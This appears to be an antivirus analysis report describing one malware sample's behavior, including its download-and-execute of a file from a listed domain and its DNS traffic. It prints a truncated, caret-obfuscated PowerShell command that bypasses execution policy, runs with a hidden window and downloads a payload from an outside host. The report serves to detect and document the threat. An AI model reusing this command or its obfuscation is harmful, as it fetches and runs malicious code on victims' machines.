Technical Information
Malicious functions
Downloads and executes
- http://mondayhelthc.top/read.php?f=404 as %appdata%.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c "P^O^we^r^SHELL.eX^e -ExEc^uTI^ONpOL^Icy^ b^yp^A^sS -^nopR^o^fIle ^-W^In^DowS^TYl^e ^H^iD^den^ ^(NEW-^ObjECT sYStE^M.net^.wEb^C^lien^T).downL^O^a^DFi^lE('http://mondayhelthc.t...
Network activity
UDP
- DNS ASK mo####helthc.top
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "P^O^we^r^SHELL.eX^e -ExEc^uTI^ONpOL^Icy^ b^yp^A^sS -^nopR^o^fIle ^-W^In^DowS^TYl^e ^H^iD^den^ ^(NEW-^ObjECT sYStE^M.net^.wEb^C^lien^T).downL^O^a^DFi^lE('http://mondayhelthc.t...' (with hidden window)
